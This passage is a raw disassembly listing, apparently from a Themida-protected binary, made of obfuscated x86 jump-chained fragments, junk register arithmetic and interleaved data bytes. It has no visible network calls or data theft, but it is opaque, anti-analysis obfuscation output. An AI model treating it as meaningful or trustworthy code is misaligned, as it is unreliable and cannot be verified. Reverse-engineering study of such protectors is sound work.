		dd 4EC81h, 0FDE90000h, 8F00002Fh, 895C2404h, 0E0892404h
		dd 405h, 22D00h, 0CCE90000h, 8900001Dh,	4C681E6h, 0E9000000h
		dd 0D040h, 8904EC83h, 0A4E92434h, 830000D0h, 0C68304C4h
		dd 74FF5602h, 8F5E0424h, 248B2404h, 1F59E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55472A:				; CODE XREF: Themida_:00562FBEj
		sub	eax, 443B2CCAh
		add	eax, esi
		add	eax, 443B2CCAh
		pop	esi
		xor	eax, 4A1E5608h
		jmp	loc_55298D
; ---------------------------------------------------------------------------
		db 29h,	0F7h, 0FFh
		dd 348B2434h, 4C48124h,	81000000h, 4ECh, 7D97E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55475A:				; CODE XREF: Themida_:005603E8j
		pop	eax
		jmp	loc_550BD7
; ---------------------------------------------------------------------------
		dd 525FF801h, 6010E9h
		db 0
; ---------------------------------------------------------------------------


loc_554769:				; CODE XREF: Themida_:0055760Aj
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
		dw 0B151h
		dd 30B20Ch, 0EA86E9CAh,	48F0000h, 8F545C24h, 4832404h
		dd 0E9590424h, 3A8Ch
dword_55478C	dd 8B2434FFh, 0E9522404h, 0B56Ch ; DATA	XREF: Themida_:005507D8o
; ---------------------------------------------------------------------------


loc_554798:				; CODE XREF: Themida_:0056020Ej
		push	1A6367A6h
		pop	eax
		jmp	loc_565742
; ---------------------------------------------------------------------------


loc_5547A3:				; CODE XREF: Themida_:00559696j
		push	ebp
		jmp	loc_563665
; ---------------------------------------------------------------------------


loc_5547A9:				; CODE XREF: Themida_:0055B0F8j
		push	dword ptr [esp+4]
		jmp	loc_561B7D
; ---------------------------------------------------------------------------
aSiuvsm?	db 'S┴ЦVИm?',0
		dw 8900h
		dd 5E5F5AD0h, 13A7522Dh, 58C6318Eh, 5FE9F031h, 8B00001Dh
		dd 0C483240Ch, 0DFE95604h, 0FF000018h, 59042474h, 0F605E9h
		db 0
; ---------------------------------------------------------------------------


loc_5547E5:				; CODE XREF: Themida_:0055B927j
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_5547EB:				; CODE XREF: Themida_:00565152j
		push	21F8h
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 47B15CCEh
		sub	edi, 47B15CCAh
		add	esi, edi
		pop	edi
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_559FC2
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 2
		dd 240CFF57h, 0FD5DE9h,	24048F00h, 0F624248Bh, 0B60F66E9h
		dd 314968CCh, 14890000h, 51E28924h, 4B9h, 0B2A2E900h
		db 2 dup(0)
word_554842	dw 8B66h		; DATA XREF: Themida_:0055072Co
		dd 5457240Ch, 0EAE8E95Fh, 0BF57FFFFh, 4, 34FFF901h, 54565F24h
		dd 0FFD36EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554861:				; CODE XREF: Themida_:00555A2Fj
		sub	ecx, edi
		push	eax
		push	edi
		push	esi
		push	1F804F87h
		pop	esi
		shl	esi, 2
		or	esi, 70144C29h
		sub	esi, 41666FF2h
		mov	edi, esi
		pop	esi
		push	ecx
		jmp	loc_560277
; ---------------------------------------------------------------------------
		dd 1B28BB53h, 0DA8928FFh, 6EAC15Bh, 1516E281h, 0C14A7B20h
		dd 0C28107EAh, 40D5CD75h, 815AD501h, 0A8022BEDh, 8BEF21C8h
		dd 0C483242Ch, 2708E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5548B6:				; CODE XREF: Themida_:00552EE9j
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, eax
		pop	eax
		push	ebp
		mov	ebp, 6A764909h
		neg	ebp
		dec	ebp
		xor	ebp, 9589B6F2h
		add	edi, ebp
		jmp	loc_55B0F1
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 19FD48ECh, 2605CA81h, 0EA8166AFh, 43E95E74h,	10735E9h
		dd 2434FF00h, 81242C8Bh, 4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_556D6F
; ---------------------------------------------------------------------------


loc_554905:				; CODE XREF: Themida_:0055A832j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mul	cl
		jmp	loc_55B94C
; ---------------------------------------------------------------------------


loc_554912:				; CODE XREF: Themida_:00560B50j
		pop	ecx
		push	eax
		jmp	loc_55C48F
; ---------------------------------------------------------------------------
		db 0BAh, 18h, 1
		dd 0EA8139AFh, 1A325196h, 590BE281h, 0E2C10448h, 81D2F702h
		dd 0EA6034EAh, 5AD30192h, 7993EB81h, 0C329421Fh, 7993C381h
		dd 0C6E9421Fh, 81FFFFD9h, 4C4h,	0ADB85000h, 29D5C1EDh
		dd 0EB8158C6h, 2B9C0D9Dh, 47E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_554965:				; CODE XREF: Themida_:0055420Fj
		mov	esi, esp
		add	esi, 4
		jmp	loc_55169D
; ---------------------------------------------------------------------------


loc_554972:				; CODE XREF: Themida_:005588BBj
		push	6967h
		mov	[esp], ecx
		mov	ecx, 1A183252h
		sub	[esp+8], ecx
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		sub	ecx, 2BAC4BDEh
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3E461EB5h
		inc	edi
		add	edi, 676E1282h
		push	26B9h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		push	462D25E7h
		jmp	loc_56353C
; ---------------------------------------------------------------------------


loc_5549E4:				; CODE XREF: Themida_:0055678Cj
		add	ebp, esi
		add	ebp, 22F12BADh
		pop	esi
		push	ecx
		push	edi
		push	1A471F59h
		pop	edi
		shl	edi, 6
		xor	edi, 5D432845h
		dec	edi
		jmp	loc_55AF97
; ---------------------------------------------------------------------------


loc_554A04:				; CODE XREF: Themida_:0055562Cj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5516CF
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 5C241487h, 517AEE81h, 0CE817DC8h,	65DE0C56h, 8060E9h
		db 0
; ---------------------------------------------------------------------------


loc_554A2D:				; CODE XREF: Themida_:0055CDB7j
		add	edi, 7803E9B2h
		sub	edx, edi
		jmp	loc_55B6B3
; ---------------------------------------------------------------------------


loc_554A3A:				; CODE XREF: Themida_:0055B0B7j
		push	66CDh
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_557666
; ---------------------------------------------------------------------------


loc_554A4F:				; CODE XREF: Themida_:0055206Bj
		add	dword ptr [esp], 4
		pop	ecx
		push	ebp
		mov	ebp, 4AB7667Eh
		and	ebp, 2B7F3118h
		and	ebp, 6DD07EE8h
		push	esi
		mov	esi, 35D62CFh
		and	ebp, esi
		pop	esi
		push	edx
		jmp	loc_55E598
; ---------------------------------------------------------------------------
		db 5Dh,	0C1h, 0E0h
		dd 0B630506h, 0FF055E00h, 5FFFFFFh, 0AB16EFC8h,	8158C301h
		dd 4F709CC3h, 81C32968h, 4F709CEBh, 4EC8168h, 89000000h
		dd 0A4B82404h, 354AD318h, 1FDD1362h, 71FCBD55h,	0E5C16B5Ah
		dd 7EDC106h, 6889E581h,	0C58145F5h, 34946780h, 0B9D1C581h
		dd 0E82902A4h, 48B4E9h
		db 0
; ---------------------------------------------------------------------------


loc_554AD1:				; CODE XREF: Themida_:005659DAj
		mov	[esp], esi
		push	edi
		jmp	loc_55350D
; ---------------------------------------------------------------------------
		dw 9BB0h
		dd 535AD000h, 0F830A9B7h, 95E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_554AE9:				; CODE XREF: Themida_:005559D9j
		add	ebp, edi
		pop	edi
		push	esi
		push	67E8h
		mov	[esp], ebp
		jmp	loc_561E9E
; ---------------------------------------------------------------------------


loc_554AFA:				; CODE XREF: Themida_:005636B8j
		add	edi, 1
		not	edi
		push	0D78h
		mov	[esp], eax
		jmp	loc_55D47C
; ---------------------------------------------------------------------------
aUsqi		db 'UИ÷┬',0
		align 2
		dw 0C683h
		dd 92BA52FFh, 5126A977h, 9B3935B9h, 21C9810Ah, 494D680Fh
		dd 7701E9h
		db 0
; ---------------------------------------------------------------------------


loc_554B2D:				; CODE XREF: Themida_:00557515j
		mov	edx, 0C5417E0h
		xor	ebp, edx
		pop	edx
		not	ebp
		jmp	loc_564F29
; ---------------------------------------------------------------------------
		dd 68585450h, 13BFh, 0BE243489h, 19862FDFh, 0FFF209E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554B51:				; CODE XREF: Themida_:0055E7F2j
		add	esi, 4
		add	esi, 4
		jmp	loc_553EB9
; ---------------------------------------------------------------------------
aSsU		db 'SИйu',0
		dd 90BE6600h, 0F3016666h, 81665E66h, 0E90BF9EBh, 5874h
		dd 83242C8Bh, 24E904C4h, 0BD000020h, 4,	9901E9h, 2EEC000h
		dd 0DEACE9h, 1AEE8100h,	14DA729h, 0D6CBE9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554BA2:				; CODE XREF: Themida_:00562FB0j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebx
		push	4
		pop	ebx
		add	ecx, 4A1943D6h
		sub	ecx, ebx
		sub	ecx, 4A1943D6h
		pop	ebx
		jmp	loc_562F48
; ---------------------------------------------------------------------------


loc_554BD0:				; CODE XREF: Themida_:00557D9Fj
		xchg	ebx, edi
		sub	ebx, 0FFFFFFFFh
		xchg	ebx, edi
		jmp	loc_55AA3C
; ---------------------------------------------------------------------------
		db 81h
		dd 0D81AD1EAh, 0AD3E90Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554BEA:				; CODE XREF: Themida_:00554228j
		mov	dl, 0CBh
		mov	ch, dl
		pop	edx
		add	bl, 30h
		sub	bl, 91h
		add	bl, ch
		add	bl, 91h
		push	small 63E3h
		jmp	loc_565944
; ---------------------------------------------------------------------------
		db 50h
		dd 7674BF57h, 0D7F77508h, 8102EFC1h, 952B66EFh,	9FE94F31h
		db 0BAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554C1B:				; CODE XREF: Themida_:0055C5C2j
		shr	edi, 3
		xor	edi, 15DA50D5h
		shr	edi, 2
		dec	edi
		push	ecx
		mov	ecx, 0AA22B7F3h
		sub	edi, ecx
		pop	ecx
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 0FFFFFFFFh
		shl	ebx, 8
		sub	ebx, 9A8C9500h
		and	eax, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55D561
; ---------------------------------------------------------------------------
		dd 0E95FF889h, 99B0h, 0E924148Bh, 495Ah
; ---------------------------------------------------------------------------


loc_554C78:				; CODE XREF: Themida_:00561FBEj
		pop	edi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5563AF
; ---------------------------------------------------------------------------
		dd 54240489h, 3E36E958h, 75B90000h, 158257Eh, 815A59CDh
		dd 4C5h, 8DDFE900h, 4290000h, 0BA525724h, 2C6046A1h, 911607BFh
		dd 5AD701E6h, 4247C01h,	0FF41E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554CC2:				; CODE XREF: Themida_:0055A951j
		mov	ebx, edi
		pop	edi
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55CB41
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0F8ACh
; ---------------------------------------------------------------------------


loc_554CE0:				; CODE XREF: Themida_:00565934j
		pop	esp
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55869A
; ---------------------------------------------------------------------------


loc_554CF0:				; CODE XREF: Themida_:0055D477j
		add	esi, ecx
		jmp	loc_555A6C
; ---------------------------------------------------------------------------


loc_554CF7:				; CODE XREF: Themida_:00565A67j
		push	esi
		mov	esi, 7A8C294Dh
		shr	esi, 5
		push	eax
		mov	eax, 9BE0F4Dh
		not	eax
		add	eax, 7FD41591h
		jmp	loc_5564F6
; ---------------------------------------------------------------------------
		dw 0DFF7h
		dd 38A5BB53h, 0F38110CDh, 33BF00B2h, 3793F381h,	0DF01329Dh
		dd 53241C8Bh, 0C381E389h, 4, 0E904C383h, 58DEh
; ---------------------------------------------------------------------------


loc_554D3C:				; CODE XREF: Themida_:00562F1Cj
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_56358D
; ---------------------------------------------------------------------------
byte_554D55	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005508A8o
		dd 8B2434FFh, 0C481240Ch, 4, 0E95A5452h, 0FFFFDA75h, 0A025D4BBh
		dd 7EBC156h, 2414F753h,	0B8EB815Bh, 51767004h, 0FE6DADB9h
		dd 0E9CB2914h, 6D4Ah, 0FED3E380h, 810FE9CBh, 34FF0000h
		dd 0AD82E924h, 34FF0000h, 2434FF24h, 0F13AE9h
		db 0
; ---------------------------------------------------------------------------


loc_554DA9:				; CODE XREF: Themida_:00561F3Cj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_560FDC
; ---------------------------------------------------------------------------
		dd 79C568h, 24248900h, 4BE56h, 74010000h, 8F5E0424h, 4832404h
		dd 685D0424h, 6EB7h, 68241489h,	4, 0FD31E9h
		db 0
byte_554DFD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00550798o
		dd 0BD685724h, 0E9000018h, 7BA8h
; ---------------------------------------------------------------------------


loc_554E0C:				; CODE XREF: Themida_:005520D0j
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_553879
; ---------------------------------------------------------------------------


loc_554E1E:				; CODE XREF: Themida_:00562670j
		dec	eax
		xor	eax, 14542663h
		shr	eax, 7
		not	eax
		shl	eax, 5
		add	eax, 12591924h
		add	edx, eax
		pop	eax
		jmp	loc_5524C8
; ---------------------------------------------------------------------------
aUws		db 'UWИэ#',0
		align 10h
		dd 83E9FD31h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554E47:				; CODE XREF: Themida_:005534FEj
		mov	edi, 161222A5h
		xor	edi, 6DBB2B62h
		dec	edi
		shr	edi, 2
		xor	edi, 7AA47AD2h
		xor	edi, 6C2833D9h
		mov	esi, edi
		jmp	loc_563D47
; ---------------------------------------------------------------------------


loc_554E69:				; CODE XREF: Themida_:005533EBj
		push	7ABDh
		mov	[esp], esp
		sub	esp, 4
		jmp	loc_55645B
; ---------------------------------------------------------------------------


loc_554E79:				; CODE XREF: Themida_:00555908j
		mov	edx, 362F1517h
		add	ebx, edx
		pop	edx
		pop	edi
		jmp	loc_5533A7
; ---------------------------------------------------------------------------


loc_554E87:				; CODE XREF: Themida_:0055DA5Cj
		mov	[esp], esi
		push	edi
		push	18887B66h
		pop	edi
		not	edi
		sub	edi, 7E111F5Fh
		mov	esi, edi
		pop	edi
		push	edi
		jmp	loc_551189
; ---------------------------------------------------------------------------


loc_554EA2:				; CODE XREF: Themida_:005575E8j
		push	538Ah
		mov	[esp], edi
		mov	edi, 4
		add	eax, 19771064h
		add	eax, 10A04EB0h
		jmp	loc_5659DF
; ---------------------------------------------------------------------------
		dw 0D631h
		dd 72E9F231h
		db 0Ah,	1, 0
byte_554EC7	db 50h			; DATA XREF: Themida_:005506D0o
		dd 0C3243481h, 8B7F6773h, 34E92404h, 5BFFFFE3h,	0E924048Fh
		dd 10E16h, 4C6815Ch, 57000000h,	661CEFBFh, 0C8E78178h
		dd 4F03B30Fh, 1F1BBA52h, 0D7217D29h, 32B9515Ah,	91E7A66h
		dd 0EF8159CFh, 1E7A6E2Fh, 9BE9FE01h, 81000021h,	0F2E8EF2h
		dd 2E2C11Bh, 0F7F2874Ah, 0D9D9E9D6h, 4890000h, 2B824h
		dd 89530000h, 5BDF89C3h, 5FFE0158h, 4EC81h, 34890000h
		dd 0F626E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554F46:				; CODE XREF: Themida_:0055B221j
		mov	ebx, ecx
		pop	ecx
		jmp	loc_55BE0A
; ---------------------------------------------------------------------------


loc_554F4E:				; CODE XREF: Themida_:00564621j
		add	esp, 4
		not	edx
		jmp	loc_55E72C
; ---------------------------------------------------------------------------


loc_554F58:				; CODE XREF: Themida_:0055B455j
		mov	esi, edx
		pop	edx
		sub	esi, 57DA5CB3h
		xor	esi, 344396Ah
		jmp	loc_5575A4
; ---------------------------------------------------------------------------
		dd 2404895Ch, 5A2434FFh, 6DF068h, 0C5B3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554F7E:				; CODE XREF: Themida_:0055A33Ej
		mov	esi, 4B1870B1h
		neg	esi
		jmp	loc_557773
; ---------------------------------------------------------------------------
		dw 20E9h
		dd 0B8FFFFBAh, 4, 80FEE9h
		db 0
; ---------------------------------------------------------------------------


loc_554F99:				; CODE XREF: Themida_:0055AD0Dj
		pop	eax
		xor	eax, 73232CEh
		jmp	loc_564267
; ---------------------------------------------------------------------------
		db 0C3h
aM0SB		db '╛0ьИ"b',0           ; DATA XREF: Themida_:005506CCo
		dd 241C3100h, 0FFD996E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554FB5:				; CODE XREF: Themida_:0056396Ej
		inc	edx
		sub	edx, 0D580C74Fh
		sub	eax, edx
		pop	edx
		push	dword ptr [esp]
		jmp	loc_5628A5
; ---------------------------------------------------------------------------
		db 50h
		dd 0F0E9E089h, 800006Eh, 665A66D1h, 6610E768h, 0B2241489h
		dd 66D100F8h, 76F1805Ah, 28DFEE80h, 0DFC680CEh,	9E41E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554FF2:				; CODE XREF: Themida_:00556D46j
		add	ebx, edi
		jmp	loc_55E8D1
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 9Eh
		dd 5F326F11h, 5C241487h, 2D42E9h
		db 0
; ---------------------------------------------------------------------------


loc_555009:				; CODE XREF: Themida_:0055CE91j
		push	ebx
		mov	bl, 2Ah
		jmp	loc_55DDE2
; ---------------------------------------------------------------------------


loc_555011:				; CODE XREF: Themida_:0055F6EDj
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55E470
; ---------------------------------------------------------------------------
		dd 240C8966h, 0CE00AFB1h, 69E95966h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55502B:				; CODE XREF: Themida_:00559141j
		push	ebp
		add	dword ptr [esp], 7E6E787Bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_562A08
; ---------------------------------------------------------------------------


loc_55503E:				; CODE XREF: Themida_:00565BBBj
		push	edx
		mov	edx, esp
		push	3834h
		mov	[esp], ecx
		jmp	loc_5610B3
; ---------------------------------------------------------------------------
		dw 0F501h
		dd 8324348Bh, 0A46804C4h, 8900000Ch, 2BF243Ch, 1000000h
		dd 0B10E9FDh, 0C330001h, 240C3124h, 8B240C33h, 55532424h
		dd 0FFE9D4E9h, 0E2C142FFh, 81DAF708h, 6BF825C2h, 1AAE90Bh
		dd 0C6290001h, 6880C681h, 0C6814C32h, 43A30821h, 6AC0E958h
		db 2 dup(0)
word_5550A2	dw 66ACh		; DATA XREF: Themida_:005507B0o
		dd 0E9039268h, 5F79h, 68242C89h, 318C6A0Ah, 0D5F74D5Dh
		dd 0E906EDC1h, 20BEh, 673825BBh, 0CB814365h, 14F220C3h
		dd 1543F381h, 0DD0110C4h, 53DD875Bh, 5B240CFFh,	0BB53DD87h
		dd 79BD590Ch, 283E381h,	0E3810A5Ah, 465E1B6Fh, 54C9EB81h
		dd 0F38131F5h, 0E567D6C6h, 815BDD01h, 673F08C3h, 81EB014Eh
		dd 673F08EBh, 242C8B4Eh, 0CBBFE9h, 0E3895300h, 4C381h
		dd 0EB830000h, 3EFEE904h, 0E9590000h, 43FEh, 0D388C288h
		dd 2C5A585Ah, 0BB64E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55513A:				; CODE XREF: Themida_:005527BAj
		add	ebp, esi
		pop	esi
		neg	ebp
		jmp	loc_55F2EB
; ---------------------------------------------------------------------------


loc_555144:				; CODE XREF: Themida_:00564F43j
		push	ebx
		jmp	loc_55A1C8
; ---------------------------------------------------------------------------


loc_55514A:				; CODE XREF: Themida_:00552371j
		pop	esi
		jmp	loc_5530D7
; ---------------------------------------------------------------------------


loc_555150:				; CODE XREF: Themida_:0055CA6Fj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		jmp	loc_553D8D
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0C781E789h, 4, 4A74E9h, 2CD10400h, 148B66E9h, 87C5E924h
		dd 4ABB0000h, 81338C4Fh, 666055C2h, 81DA2956h, 666055EAh
		dd 0F18E956h, 0DBF70000h, 4257F381h, 0CB8127FDh, 5FBA5A60h
		dd 7FEBEB81h, 0DD017FFAh, 4C5835Bh, 8B242C87h, 48F2424h
		dd 0EB3BE924h, 0E8C1FFFFh, 0EF13507h, 0C631112Ch, 0B7B85058h
		dd 0E934C713h, 5CD1h
; ---------------------------------------------------------------------------


loc_5551D4:				; CODE XREF: Themida_:0055D8C8j
		mov	ecx, 86AAA9DCh
		sub	ecx, ebp
		pop	ebp
		sub	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		push	esi
		mov	esi, 455B2273h
		add	esi, 40C824BAh
		jmp	loc_55A22B
; ---------------------------------------------------------------------------


loc_5551FB:				; CODE XREF: Themida_:00559FBDj
		add	al, 96h
		push	ebx
		push	ecx
		mov	ch, 34h
		sub	ch, 0FFh
		and	ch, 0E4h
		jmp	loc_557343
; ---------------------------------------------------------------------------
dword_55520C	dd 0E9240C31h, 331Ah	; DATA XREF: Themida_:0055079Co
; ---------------------------------------------------------------------------


loc_555214:				; CODE XREF: Themida_:00560737j
		sub	esp, 4
		mov	[esp], ebx
		push	0F67914h
		mov	ebx, [esp]
		push	28Ah
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, 6A980C0Ch
		not	ebp
		shl	ebp, 6
		neg	ebp
		shr	ebp, 1
		push	edi
		mov	edi, 7F37C3A8h
		xor	ebp, edi
		pop	edi
		xor	ebx, ebp
		jmp	loc_557411
; ---------------------------------------------------------------------------
		dd 885AD428h, 0E68058E6h, 3FF6807Bh, 148BF130h,	4C48324h
		dd 0C05AF130h, 0C18007E9h, 0E9C83034h, 335Bh, 0BBE9F801h
		dd 810000A6h, 4ECh, 24348900h, 0BC777CBEh, 49EA8139h, 295B1D13h
		dd 49C281F2h, 5E5B1D13h, 61CE9h, 0C1815F00h, 1406CBDCh
		dd 5683BE56h, 0C14E1B8Eh, 0C68102E6h, 76908D5h,	11C3F681h
		dd 0E6D16E7Dh, 449CC681h, 0F029C9E0h, 5C8015Eh,	19F2AD8h
		dd 0FFFAB1E9h, 0E95552FFh, 0FFFFD27Ch
; ---------------------------------------------------------------------------


loc_5552F4:				; CODE XREF: Themida_:005621BEj
		pop	ecx
		add	esp, 4
		push	eax
		push	ebx
		push	eax
		mov	al, 0Ch
		add	al, 93h
		inc	al
		push	ebx
		mov	bh, 93h
		jmp	loc_5602B1
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 2
		dd 0E9000000h, 7CC5h, 6247BD55h, 0E9013B91h, 81242C8Bh
		dd 4C4h, 0FFCB0100h, 57592434h,	0C781E789h, 4, 4C781h
		dd 3C870000h, 0D832E924h, 0EE83FFFFh, 24348704h, 242C895Ch
		dd 651468h, 0E532E900h,	875F0000h, 535C241Ch, 5E9E389h
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555363:				; CODE XREF: Themida_:0055CBEAj
		sub	ebp, esi
		pop	esi
		sub	ebp, 70C82422h
		add	ebp, eax
		add	ebp, 70C82422h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_556E20
; ---------------------------------------------------------------------------
		dw 8B5Eh
		dd 0C481242Ch, 4, 0FFEFB1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555391:				; CODE XREF: Themida_:0055C416j
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_55B34E
; ---------------------------------------------------------------------------
		db 5Eh
		dd 70F43540h, 0C229236Bh, 8324048Bh, 48B04C4h, 4C48324h
		dd 8B241487h, 8B662424h, 1AE9240Ch
		db 0E9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5553CF:				; CODE XREF: Themida_:005655A9j
		push	6D7Fh
		mov	[esp], edx
		mov	edx, 27F3445Dh
		inc	edx
		dec	edx
		and	edx, 778A1306h
		add	edx, 8171C514h
		push	edx
		push	ebp
		mov	ebp, 0B0D0746h
		jmp	loc_5636BD
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0E99C5024h, 0FFFFB5AFh
; ---------------------------------------------------------------------------


loc_555400:				; CODE XREF: Themida_:0055ACD2j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_557B7F
; ---------------------------------------------------------------------------
		dd 88FCEB80h, 0C0A2E9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55542A:				; CODE XREF: Themida_:00560B2Aj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_55DC3F
; ---------------------------------------------------------------------------
		dw 8F5Ah
		dd 248B2404h, 0FC33024h, 61E9C0B6h, 8300001Ah, 0C30104C4h
		dd 0A313E9h, 24043300h,	0E924248Bh, 108B1h
dword_55545C	dd 240C8B66h		; DATA XREF: Themida_:005506F4o
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	335Fh
		mov	[esp], edi
		mov	edi, 10A5436Eh
		neg	edi
		jmp	loc_5587C8
; ---------------------------------------------------------------------------
		db 0E9h, 2Dh, 0B5h
		dd 815DFFFFh, 4C5h, 0C76FE900h,	525AFFFFh, 18A005BAh, 0E9D001A0h
		dd 0FFFFD339h, 4055854h, 83000000h, 48704C0h, 0F832E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5554AE:				; CODE XREF: Themida_:00553031j
		push	edi
		jmp	loc_55D61E
; ---------------------------------------------------------------------------


loc_5554B4:				; CODE XREF: Themida_:0055F444j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	4590h
		mov	[esp], esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	4
		pop	ecx
		push	ebx
		mov	ebx, 579A68BAh
		add	dword ptr [esp+8], 14114104h
		add	[esp+8], ebx
		sub	dword ptr [esp+8], 14114104h
		pop	ebx
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 579A68BAh
		jmp	loc_55F54A
; ---------------------------------------------------------------------------
aYSJ		db 'Y]И ├',0
		align 4
a1434S		db '14$34$И)\',0
		dw 100h
		dd 0B7C381F3h, 0E92C3C6Eh, 0FFFFF045h
; ---------------------------------------------------------------------------


loc_555540:				; CODE XREF: Themida_:005604DAj
		xchg	ecx, [esp]
		pop	esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, 63985D49h
		add	esi, 3C374030h
		jmp	loc_559DEC
; ---------------------------------------------------------------------------


loc_555561:				; CODE XREF: Themida_:00563604j
		add	edi, 72CC2B98h
		jmp	loc_55CDB4
; ---------------------------------------------------------------------------
		dd 0C3805966h, 48B04EEh, 0D0B8E926h, 52660000h,	0FE00E9h
		dd 9F20500h, 0D0013FF3h, 0F309F22Dh, 0CFE9553Fh
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555593:				; CODE XREF: Themida_:005522DCj
		cmp	cx, ax
		pushf
		jmp	loc_5509AF
; ---------------------------------------------------------------------------


loc_55559C:				; CODE XREF: Themida_:00557DEFj
		xor	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_552E45
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 241C8704h, 4C4815Ch,	83000000h, 0BB5304C4h, 4, 1C8BDA01h
		dd 4C48124h, 83000000h,	0C8904ECh, 9418E924h, 89660000h
		dd 0EC832404h, 240C8904h, 0A668E1B1h, 8900000Dh, 7B7241Ch
		dd 6608EFC0h, 0ABB55150h, 2059E888h, 48B66C7h, 3FF36824h
		dd 3C890000h, 81E78924h, 4C7h, 2C78300h, 0FFD2C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555615:				; CODE XREF: Themida_:0055EB4Fj
		pop	ebx
		add	edx, 9D842DCh
